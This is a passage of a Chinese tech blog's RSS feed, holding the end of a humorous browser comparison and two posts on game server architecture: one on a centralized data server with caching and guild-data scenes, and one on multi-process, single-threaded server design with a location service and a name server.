<p><img src="http://news.csdn.net/a//uploads/2010/03/18/20100318-142012-pic1.jpg" alt="" /></p>
<p>Firefox：坦白地说它面面俱到，但那些傻了吧唧的插件快把它搞的没法用了</p>
<p><img src="http://news.csdn.net/a//uploads/2010/03/18/20100318-142054-pic1.jpg" alt="" /></p>
<p>Safari：非常的高效，但那些使用Safari的人总对其质量夸大其词</p>
<p><img src="http://news.csdn.net/a//uploads/2010/03/18/20100318-142134-pic1.jpg" alt="" /></p>
<p>Chrome：就是一个快字</p>
<p><img src="http://news.csdn.net/a//uploads/2010/03/18/20100318-142214-pic1.jpg" alt="" /></p>
<p>Opera：有些人非常喜欢，但大多数人认为Opera很2</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeaoe.html" title="AJAX应用程序开发七宗罪">AJAX应用程序开发七宗罪</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajax.html" title="AJAX的各种控件和类库">AJAX的各种控件和类库</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/android%e7%ac%94%e8%ae%b0/androidzaixiankaifagongjuappinventor.html" title="Android在线开发工具 App Inventor">Android在线开发工具 App Inventor</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html" title="php的文档句法(heredoc)<<<和PHP字符串操作">php的文档句法(heredoc)<<<和PHP字符串操作</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/innerhtmleenertexteeterhtmlqia.html" title="innerHTML、innerText和outerHTML的用法">innerHTML、innerText和outerHTML的用法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/gezhonglanqideuseragent.html" title="各种浏览器的userAgent">各种浏览器的userAgent</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/gaoxingnengwangzhanjianshezhinandushubiji.html" title="《高性能网站建设指南》读书笔记">《高性能网站建设指南》读书笔记</a> (0)</li><li>2008年11月12日 -- <a href="http://www.5bay.cn/network-programming/javascript-ajax/documentbodyscrolltop%E4%B8%BA0.html" title="document.body.scrollTop为0">document.body.scrollTop为0</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E4%BB%A5%E4%BA%BA%E4%B8%BA%E6%9C%AC%EF%BC%8C%E7%BE%8E%E6%9C%AF%E8%B5%84%E6%BA%90%E7%9A%84%E5%BD%92%E6%A1%A3.html" title="以人为本，美术资源的归档">以人为本，美术资源的归档</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/firefox" title="firefox" rel="tag">firefox</a>, <a href="http://www.5bay.cn/tag/google" title="google" rel="tag">google</a>, <a href="http://www.5bay.cn/tag/%E4%BA%BA" title="人" rel="tag">人</a>, <a href="http://www.5bay.cn/tag/%E5%8C%BA%E5%88%AB" title="区别" rel="tag">区别</a>, <a href="http://www.5bay.cn/tag/%E6%90%9E%E7%AC%91" title="搞笑" rel="tag">搞笑</a>, <a href="http://www.5bay.cn/tag/%E6%B5%8F%E8%A7%88%E5%99%A8" title="浏览器" rel="tag">浏览器</a>, <a href="http://www.5bay.cn/category/website" title="网站建设" rel="tag">网站建设</a>, <a href="http://www.5bay.cn/tag/%E8%AF%B4%E6%98%8E" title="说明" rel="tag">说明</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/website/gaoxiaomanhuatujiejidalanqidequbie.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>数据服务器的设计</title>
		<link>http://www.5bay.cn/game-development/%E6%95%B0%E6%8D%AE%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E8%AE%BE%E8%AE%A1.html</link>
		<comments>http://www.5bay.cn/game-development/%E6%95%B0%E6%8D%AE%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E8%AE%BE%E8%AE%A1.html#comments</comments>
		<pubDate>Fri, 17 Oct 2008 17:25:22 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[游戏开发]]></category>
		<category><![CDATA[cache]]></category>
		<category><![CDATA[ie]]></category>
		<category><![CDATA[人]]></category>
		<category><![CDATA[对象]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[类]]></category>
		<category><![CDATA[表]]></category>
		<category><![CDATA[解决]]></category>
		<category><![CDATA[设计]]></category>
		<category><![CDATA[连接]]></category>

		<guid isPermaLink="false">?p=303</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/game-development/%E6%95%B0%E6%8D%AE%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E8%AE%BE%E8%AE%A1.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>今天开始正式开始做数据服务器。在这点上，我希望一组服务器上所有的逻辑服务遇到的数据存取需求都通过一个单一的数据服务器完成。而且，写入数据是单向通讯的。即，逻辑服务器只提读写盘请求，而无须确认。写数据好说，读数据稍微难处理一点，我现在的方案是，数据服务器加载数据的部分只对位置服务器负责，把数据提交到位置服务器即可。位置服务器可以通过分析数据知道玩家的数据流应该流向哪台逻辑服务器。以上逻辑是基于每个玩家有独立的数据的，而且一个玩家同时只存在于唯一一个场景。也就是说，当一组数据存活的时候，只唯一属于一台逻辑服务器。这样做的好处是，切换场景非常的简单，只是让玩家从一个场景退出，给数据服务器发出写盘指令，并发送所有数据。数据服务器写盘的同时也 cache 了这些数据，并向位置服务器提交新的位置，并把这些数据转发向位置服务器。位置服务器可以再转交给新的场景。对于玩家登陆和登出的处理并没有特别之处，我们可以设立两个虚拟场景，一个负责登入，一个负责登出。每个新连接自动导入登入场景，这个场景负责发出加载指令（下面可以看到，甚至无须设置加载数据的协议）。然后再做一个自动的场景切换操作即可。而玩家登出，则是转入登出场景，这是一个黑洞，玩家的连接可以在这里安全的断掉。当玩家不停的穿梭于各个场景之间时，为了避免频繁的数据转发，我们可以给玩家数据做一个赃标记。如果没有弄赃，实际的数据可以不被转发。这个标记的另一个意义在于，若数据没有弄赃，而数据服务器的 cache 中又没有数据时，就需要从外存加载了。其实这就是一个读请求。月初我在公司内部讲解这个设计时，遭到了一些同事的疑问。最典型的一个是，帮派信息如何处理。的确，类似帮派的信息，不属于任何一个玩家。如果你单独设一个非玩家对象保存这些数据时，可能会分布到不同的逻辑服务器上。的确对数据服务器的设计是一个挑战。今天仔细考虑过以后，我发现可以从设计上避免这个问题。方法如下：以帮派为例，可以设一个帮派总坛的场景。这个场景可以是虚拟的，在 client 表现上甚至可以只有一个界面，进入这个场景的玩家之间可以相互不可见。这样减少了大量的通讯量。玩家任何时候查询，修改，帮派数据的时候，都强制他进入这个场景工作（也就是独立进程维护唯一数据）。做完操作后，玩家可以从哪来的回哪去。表现上，他可能并不会察觉到自己进入了一个遥远的地方。甚至很多玩法应蕴而生。比如帮派在各地开了分舵。组织要求你把总坛的物质运输到分舵。其实仓库里的数据都是放在一个进程中。表现上，玩家可能千里迢迢的押运货物，只是修改了一下物品的归属地而已。帮派也可以开出空头支票，玩家接受支票交易时，或许要去帮派回所去查一下帮派的信誉度，或者验证一下支票能不能兑现。因为支票开出去到了玩家手上后，数据已经交给玩家个人管理，和帮派数据无关了。这样，复制出来的帮派数据都有了时延，比如你不能及时得到帮主是谁，帮派里有什么变化等等。（只是举例，实际万一想解决，可以走聊天这种不可靠通道）但是我个人认为这是符合现实的。因为现实中要得知一件事情，也是依赖一个信息发生源的。想通了这些后，个人感觉我们的设计最终还是保持了简洁。满符合 KISS 原则。每个进程好好干好一件事吧 ps. 这里也突出了心跳服务器的重要。许多虚拟场景，如帮派管理等，可以放慢它的心跳（至少不用处理战斗时 10Hz 那么高的频率），这样也降低了这些进程的负载。而玩家体验却并不会有太大的影响。 相关博文2010年05月23日 -- mysql优化及全文搜索 (0)2010年05月23日 -- PHP中的Memcache函数库（Memcache Functions） (0)2008年10月17日 -- 服务器消息的广播 (0)2008年10月17日 -- 以人为本，美术资源的归档 (0)2011年06月29日 -- 资深设计师Tony Ventrice解析手机游戏开发的四个层次 (0)2010年05月23日 -- Rsync详解 (0)2008年10月17日 -- 用四叉树管理散布在平面上的对象 (0)2008年10月17日 -- 多进程的游戏服务器设计 (0)2008年10月17日 -- 网络游戏的对时以及同步问题 (0)2008年10月17日 -- 动态加载资源 (0)2008年10月17日 -- 思维的惯性 (0)2008年10月17日 -- 游戏中的货币 (0)2008年10月17日 -- 随机数有多随机？ (0)2010年07月28日 [...]]]></description>
			<content:encoded><![CDATA[<p>今天开始正式开始做数据服务器。在这点上，我希望一组服务器上所有的逻辑服务遇到的数据存取需求都通过一个单一的数据服务器完成。而且，写入数据是单向通讯的。即，逻辑服务器只提读写盘请求，而无须确认。写数据好说，读数据稍微难处理一点，我现在的方案是，数据服务器加载数据的部分只对位置服务器负责，把数据提交到位置服务器即可。位置服务器可以通过分析数据知道玩家的数据流应该流向哪台逻辑服务器。<br/><br/>以上逻辑是基于每个玩家有独立的数据的，而且一个玩家同时只存在于唯一一个场景。也就是说，当一组数据存活的时候，只唯一属于一台逻辑服务器。这样做的好处是，切换场景非常的简单，只是让玩家从一个场景退出，给数据服务器发出写盘指令，并发送所有数据。数据服务器写盘的同时也 cache 了这些数据，并向位置服务器提交新的位置，并把这些数据转发向位置服务器。位置服务器可以再转交给新的场景。<br/><br/>对于玩家登陆和登出的处理并没有特别之处，我们可以设立两个虚拟场景，一个负责登入，一个负责登出。每个新连接自动导入登入场景，这个场景负责发出加载指令（下面可以看到，甚至无须设置加载数据的协议）。然后再做一个自动的场景切换操作即可。而玩家登出，则是转入登出场景，这是一个黑洞，玩家的连接可以在这里安全的断掉。<br/><br/>当玩家不停的穿梭于各个场景之间时，为了避免频繁的数据转发，我们可以给玩家数据做一个赃标记。如果没有弄赃，实际的数据可以不被转发。这个标记的另一个意义在于，若数据没有弄赃，而数据服务器的 cache 中又没有数据时，就需要从外存加载了。其实这就是一个读请求。<span id="more-303"></span><br/><br/>月初我在公司内部讲解这个设计时，遭到了一些同事的疑问。最典型的一个是，帮派信息如何处理。的确，类似帮派的信息，不属于任何一个玩家。如果你单独设一个非玩家对象保存这些数据时，可能会分布到不同的逻辑服务器上。的确对数据服务器的设计是一个挑战。<br/><br/>今天仔细考虑过以后，我发现可以从设计上避免这个问题。方法如下：<br/><br/>以帮派为例，可以设一个帮派总坛的场景。这个场景可以是虚拟的，在 client 表现上甚至可以只有一个界面，进入这个场景的玩家之间可以相互不可见。这样减少了大量的通讯量。<br/><br/>玩家任何时候查询，修改，帮派数据的时候，都强制他进入这个场景工作（也就是独立进程维护唯一数据）。做完操作后，玩家可以从哪来的回哪去。表现上，他可能并不会察觉到自己进入了一个遥远的地方。<br/><br/>甚至很多玩法应蕴而生。比如帮派在各地开了分舵。组织要求你把总坛的物质运输到分舵。其实仓库里的数据都是放在一个进程中。表现上，玩家可能千里迢迢的押运货物，只是修改了一下物品的归属地而已。<br/><br/>帮派也可以开出空头支票，玩家接受支票交易时，或许要去帮派回所去查一下帮派的信誉度，或者验证一下支票能不能兑现。因为支票开出去到了玩家手上后，数据已经交给玩家个人管理，和帮派数据无关了。<br/><br/>这样，复制出来的帮派数据都有了时延，比如你不能及时得到帮主是谁，帮派里有什么变化等等。（只是举例，实际万一想解决，可以走聊天这种不可靠通道）但是我个人认为这是符合现实的。因为现实中要得知一件事情，也是依赖一个信息发生源的。<br/><br/>想通了这些后，个人感觉我们的设计最终还是保持了简洁。满符合 KISS 原则。每个进程好好干好一件事吧 <img src='http://www.5bay.cn/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> <br/><br/>ps. 这里也突出了心跳服务器的重要。许多虚拟场景，如帮派管理等，可以放慢它的心跳（至少不用处理战斗时 10Hz 那么高的频率），这样也降低了这些进程的负载。而玩家体验却并不会有太大的影响。</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html" title="PHP中的Memcache函数库（Memcache Functions）">PHP中的Memcache函数库（Memcache Functions）</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%B6%88%E6%81%AF%E7%9A%84%E5%B9%BF%E6%92%AD.html" title="服务器消息的广播">服务器消息的广播</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E4%BB%A5%E4%BA%BA%E4%B8%BA%E6%9C%AC%EF%BC%8C%E7%BE%8E%E6%9C%AF%E8%B5%84%E6%BA%90%E7%9A%84%E5%BD%92%E6%A1%A3.html" title="以人为本，美术资源的归档">以人为本，美术资源的归档</a> (0)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/game-development/zishenshejishitonyventricejiexishoujiyouxikaifadesigecengci.html" title="资深设计师Tony Ventrice解析手机游戏开发的四个层次">资深设计师Tony Ventrice解析手机游戏开发的四个层次</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E7%94%A8%E5%9B%9B%E5%8F%89%E6%A0%91%E7%AE%A1%E7%90%86%E6%95%A3%E5%B8%83%E5%9C%A8%E5%B9%B3%E9%9D%A2%E4%B8%8A%E7%9A%84%E5%AF%B9%E8%B1%A1.html" title="用四叉树管理散布在平面上的对象">用四叉树管理散布在平面上的对象</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E5%A4%9A%E8%BF%9B%E7%A8%8B%E7%9A%84%E6%B8%B8%E6%88%8F%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%AE%BE%E8%AE%A1.html" title="多进程的游戏服务器设计">多进程的游戏服务器设计</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E7%BD%91%E7%BB%9C%E6%B8%B8%E6%88%8F%E7%9A%84%E5%AF%B9%E6%97%B6%E4%BB%A5%E5%8F%8A%E5%90%8C%E6%AD%A5%E9%97%AE%E9%A2%98.html" title="网络游戏的对时以及同步问题">网络游戏的对时以及同步问题</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E5%8A%A8%E6%80%81%E5%8A%A0%E8%BD%BD%E8%B5%84%E6%BA%90.html" title="动态加载资源">动态加载资源</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%80%9D%E7%BB%B4%E7%9A%84%E6%83%AF%E6%80%A7.html" title="思维的惯性">思维的惯性</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%B8%B8%E6%88%8F%E4%B8%AD%E7%9A%84%E8%B4%A7%E5%B8%81.html" title="游戏中的货币">游戏中的货币</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E9%9A%8F%E6%9C%BA%E6%95%B0%E6%9C%89%E5%A4%9A%E9%9A%8F%E6%9C%BA%EF%BC%9F.html" title="随机数有多随机？">随机数有多随机？</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/cache" title="cache" rel="tag">cache</a>, <a href="http://www.5bay.cn/tag/ie" title="ie" rel="tag">ie</a>, <a href="http://www.5bay.cn/tag/%E4%BA%BA" title="人" rel="tag">人</a>, <a href="http://www.5bay.cn/tag/%E5%AF%B9%E8%B1%A1" title="对象" rel="tag">对象</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/category/game-development" title="游戏开发" rel="tag">游戏开发</a>, <a href="http://www.5bay.cn/tag/%E7%B1%BB" title="类" rel="tag">类</a>, <a href="http://www.5bay.cn/tag/%E8%A1%A8" title="表" rel="tag">表</a>, <a href="http://www.5bay.cn/tag/%E8%A7%A3%E5%86%B3" title="解决" rel="tag">解决</a>, <a href="http://www.5bay.cn/tag/%E8%AE%BE%E8%AE%A1" title="设计" rel="tag">设计</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/game-development/%E6%95%B0%E6%8D%AE%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E8%AE%BE%E8%AE%A1.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>多进程的游戏服务器设计</title>
		<link>http://www.5bay.cn/game-development/%E5%A4%9A%E8%BF%9B%E7%A8%8B%E7%9A%84%E6%B8%B8%E6%88%8F%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%AE%BE%E8%AE%A1.html</link>
		<comments>http://www.5bay.cn/game-development/%E5%A4%9A%E8%BF%9B%E7%A8%8B%E7%9A%84%E6%B8%B8%E6%88%8F%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%AE%BE%E8%AE%A1.html#comments</comments>
		<pubDate>Fri, 17 Oct 2008 17:24:20 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[游戏开发]]></category>
		<category><![CDATA[cache]]></category>
		<category><![CDATA[人]]></category>
		<category><![CDATA[分离]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[数据库]]></category>
		<category><![CDATA[游戏]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[类]]></category>
		<category><![CDATA[系统]]></category>
		<category><![CDATA[设计]]></category>
		<category><![CDATA[连接]]></category>

		<guid isPermaLink="false">?p=302</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/game-development/%E5%A4%9A%E8%BF%9B%E7%A8%8B%E7%9A%84%E6%B8%B8%E6%88%8F%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%AE%BE%E8%AE%A1.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>目前，我们的游戏服务器组是按多进程的方式设计的。强调多进程，是想提另外一点，我们每个进程上是单线程的。所以，我们在设计中，系统的复杂点在于进程间如何交换数据；而不需要考虑线程间的数据锁问题。如果肆意的做进程间通讯，在进程数量不断增加后，会使系统混乱不可控。经过分析后，我决定做如下的限制：如果一个进程需要和多个服务器做双向通讯，那么这个进程不能处理复杂的逻辑，而只是过滤和转发数据用。即，这样的一个进程 S ，只会把进程 A 发过来的数据转发到 B ；或把进程 B 发过来的数据转发到 A 。或者从一端发过来的数据，经过简单的协议分析后，可以分发到不同的地方。例如，把客户端发过来的数据包中的聊天信息分离处理，交到聊天进程处理。有逻辑处理的进程上的数据流一定是单向的，它可以从多个数据源读取数据，但是处理后一定反馈到另外的地方，而不需要和数据源做逻辑上的交互。每个进程尽可能的保持单个输入点，或是单个输出点。所有费时的操作均发到独立的进程，以队列方式处理。按功能和场景划分进程，单一服务和单一场景中不再分离出多个进程做负载均衡。性能问题上，我是这样考虑的：我们应该充分利用多核的优势，这会是日后的发展方向。让每个进程要么处理大流量小计算量的工作；要么处理小流量大计算量的工作。这样多个进程放在一台物理机器上可以更加充分的利用机器的资源。单线程多进程的设计，个人认为更能发挥多核的优势。这是因为没有了锁，每个线程都可以以最大吞吐量工作。增加的负担只是进程间的数据复制，在网游这种复杂逻辑的系统中，一般不会比逻辑计算更早成为瓶颈。如果担心，单线程没有利用多核计算的优势，不妨考虑以下的例子：计算 a/b+c/d+e/f ，如果我们在一个进程中开三条线程利用三个核同时计算 a/b c/d e/f 固然不错，但它增加了程序设计的复杂度。而换个思路，做成三个进程，第一个只算 a/b 把结果交给第二个进程去算 c/d 于之的和，再交个第三个进程算 e/f 。对于单次运算来算，虽然成本增加了。它需要做额外的进程间通讯复制中间结果。但，如果我们有大量连续的这样的计算要做，整体的吞吐量却增加了。因为在算某次的 a/b 的时候，前一次的 c/d 可能在另一个核中并行计算着。具体的设计中，我们只需要把处理数据包的任务切细，适当增加处理流水线的长度，就可以提高整个系统的吞吐量了。由于逻辑操作是单线程的，所以另需要注意的一点是，所有费时的操作都应该转发到独立的进程中异步完成。比如下面会提到的数据存取服务。对于具体的场景管理是这样做的：玩家连接进来后，所有数据包会经过一个叫做位置服务的进程中。这个进程可以区分玩家所在的位置，然后把玩家数据分发到对应的场景服务进程中。这个位置服务同时还管理玩家间消息的广播。即，单个的场景（逻辑）服务并不关心每个数据包为哪几个玩家所见，而由这个服务将其复制分发。当玩家切换场景，场景服务器将玩家的数据发送给数据服务，数据服务进程 cache 玩家数据，并将数据写入数据库。然后把玩家的新的场景编号发回位置服务进程，这样位置服务器可以将后续的玩家数据包正确的转发到新的场景服务进程中。掉落物品和资源生产同样可以统一管理，所以的场景（逻辑）进程都将生产新物件的请求发给物品分配服务，由物品分配服务生产出新物件后通知位置服务器产生新物品。这样一系列的做法，最终保证了，每个场景服务器都有一个唯一的数据源——位置服务进程。它跟持久化在数据库中的数据无关，跟时钟也无关。由此带来的调试便利是很显著的。最近，面临诸多进程的设计时，最先面临的一个复杂点在于启动阶段。显然，每个进程都配有一套配置文件指出其它进程的地址并不是一个好主意。而为每个服务都分配一个子域名在开发期也不太合适。结果我们采取了一个简单的方案：单独开发了一个名字服务器。它的功能类似 DNS ，但是可以让每个进程自由的注册自己的位置，还可以定期汇报自己的当前状态。这样，我们可以方便的用程序查询到需要的服务。名字服务器的协议用的类似 POP3 的文本协议，这让我们可以人手工 telnet 上去查阅。我相信以后我们的维护人员会喜欢这样的设计的。:D 相关博文2010年05月23日 -- mysql优化及全文搜索 (0)2008年10月17日 -- 思维的惯性 (0)2008年10月17日 -- 随机数有多随机？ (0)2011年06月29日 -- 资深设计师Tony Ventrice解析手机游戏开发的四个层次 (0)2010年07月28日 -- ASP防注入新方式，希望对大家是有用的 (0)2010年07月26日 -- PHP对文本数据库的基本操作方法 (0)2010年07月26日 [...]]]></description>
			<content:encoded><![CDATA[<p>目前，我们的游戏服务器组是按多进程的方式设计的。强调多进程，是想提另外一点，我们每个进程上是单线程的。所以，我们在设计中，系统的复杂点在于进程间如何交换数据；而不需要考虑线程间的数据锁问题。<br/><br/>如果肆意的做进程间通讯，在进程数量不断增加后，会使系统混乱不可控。经过分析后，我决定做如下的限制：<br/><br/>如果一个进程需要和多个服务器做双向通讯，那么这个进程不能处理复杂的逻辑，而只是过滤和转发数据用。即，这样的一个进程 S ，只会把进程 A 发过来的数据转发到 B ；或把进程 B 发过来的数据转发到 A 。或者从一端发过来的数据，经过简单的协议分析后，可以分发到不同的地方。例如，把客户端发过来的数据包中的聊天信息分离处理，交到聊天进程处理。<br/><br/>有逻辑处理的进程上的数据流一定是单向的，它可以从多个数据源读取数据，但是处理后一定反馈到另外的地方，而不需要和数据源做逻辑上的交互。<br/><br/>每个进程尽可能的保持单个输入点，或是单个输出点。<br/><br/>所有费时的操作均发到独立的进程，以队列方式处理。<br/><br/>按功能和场景划分进程，单一服务和单一场景中不再分离出多个进程做负载均衡。<span id="more-302"></span><br/><br/>性能问题上，我是这样考虑的：<br/><br/>我们应该充分利用多核的优势，这会是日后的发展方向。让每个进程要么处理大流量小计算量的工作；要么处理小流量大计算量的工作。这样多个进程放在一台物理机器上可以更加充分的利用机器的资源。<br/><br/>单线程多进程的设计，个人认为更能发挥多核的优势。这是因为没有了锁，每个线程都可以以最大吞吐量工作。增加的负担只是进程间的数据复制，在网游这种复杂逻辑的系统中，一般不会比逻辑计算更早成为瓶颈。如果担心，单线程没有利用多核计算的优势，不妨考虑以下的例子：<br/><br/>计算 a/b+c/d+e/f ，如果我们在一个进程中开三条线程利用三个核同时计算 a/b c/d e/f 固然不错，但它增加了程序设计的复杂度。而换个思路，做成三个进程，第一个只算 a/b 把结果交给第二个进程去算 c/d 于之的和，再交个第三个进程算 e/f 。对于单次运算来算，虽然成本增加了。它需要做额外的进程间通讯复制中间结果。但，如果我们有大量连续的这样的计算要做，整体的吞吐量却增加了。因为在算某次的 a/b 的时候，前一次的 c/d 可能在另一个核中并行计算着。<br/><br/>具体的设计中，我们只需要把处理数据包的任务切细，适当增加处理流水线的长度，就可以提高整个系统的吞吐量了。由于逻辑操作是单线程的，所以另需要注意的一点是，所有费时的操作都应该转发到独立的进程中异步完成。比如下面会提到的数据存取服务。<br/><br/>对于具体的场景管理是这样做的：<br/><br/>玩家连接进来后，所有数据包会经过一个叫做位置服务的进程中。这个进程可以区分玩家所在的位置，然后把玩家数据分发到对应的场景服务进程中。这个位置服务同时还管理玩家间消息的广播。即，单个的场景（逻辑）服务并不关心每个数据包为哪几个玩家所见，而由这个服务将其复制分发。<br/><br/>当玩家切换场景，场景服务器将玩家的数据发送给数据服务，数据服务进程 <a href="http://www.5bay.cn/tag/cache" class="st_tag internal_tag" rel="tag" title="标签 cache 下的日志">cache</a> 玩家数据，并将数据写入数据库。然后把玩家的新的场景编号发回位置服务进程，这样位置服务器可以将后续的玩家数据包正确的转发到新的场景服务进程中。<br/><br/>掉落物品和资源生产同样可以统一管理，所以的场景（逻辑）进程都将生产新物件的请求发给物品分配服务，由物品分配服务生产出新物件后通知位置服务器产生新物品。<br/><br/>这样一系列的做法，最终保证了，每个场景服务器都有一个唯一的数据源——位置服务进程。它跟持久化在数据库中的数据无关，跟时钟也无关。由此带来的调试便利是很显著的。<br/><br/>最近，面临诸多进程的设计时，最先面临的一个复杂点在于启动阶段。显然，每个进程都配有一套配置文件指出其它进程的地址并不是一个好主意。而为每个服务都分配一个子域名在开发期也不太合适。结果我们采取了一个简单的方案：单独开发了一个名字服务器。它的功能类似 DNS ，但是可以让每个进程自由的注册自己的位置，还可以定期汇报自己的当前状态。这样，我们可以方便的用程序查询到需要的服务。名字服务器的协议用的类似 POP3 的文本协议，这让我们可以人手工 telnet 上去查阅。我相信以后我们的维护人员会喜欢这样的设计的。:D</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%80%9D%E7%BB%B4%E7%9A%84%E6%83%AF%E6%80%A7.html" title="思维的惯性">思维的惯性</a> (0)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E9%9A%8F%E6%9C%BA%E6%95%B0%E6%9C%89%E5%A4%9A%E9%9A%8F%E6%9C%BA%EF%BC%9F.html" title="随机数有多随机？">随机数有多随机？</a> (0)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/game-development/zishenshejishitonyventricejiexishoujiyouxikaifadesigecengci.html" title="资深设计师Tony Ventrice解析手机游戏开发的四个层次">资深设计师Tony Ventrice解析手机游戏开发的四个层次</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/eacceleratoryumemcachedequbieyuyongtu.html" title="eAccelerator与memcache的区别与用途">eAccelerator与memcache的区别与用途</a> (2)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E6%95%B0%E6%8D%AE%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84%E8%AE%BE%E8%AE%A1.html" title="数据服务器的设计">数据服务器的设计</a> (0)</li><li>2008年10月17日 -- <a 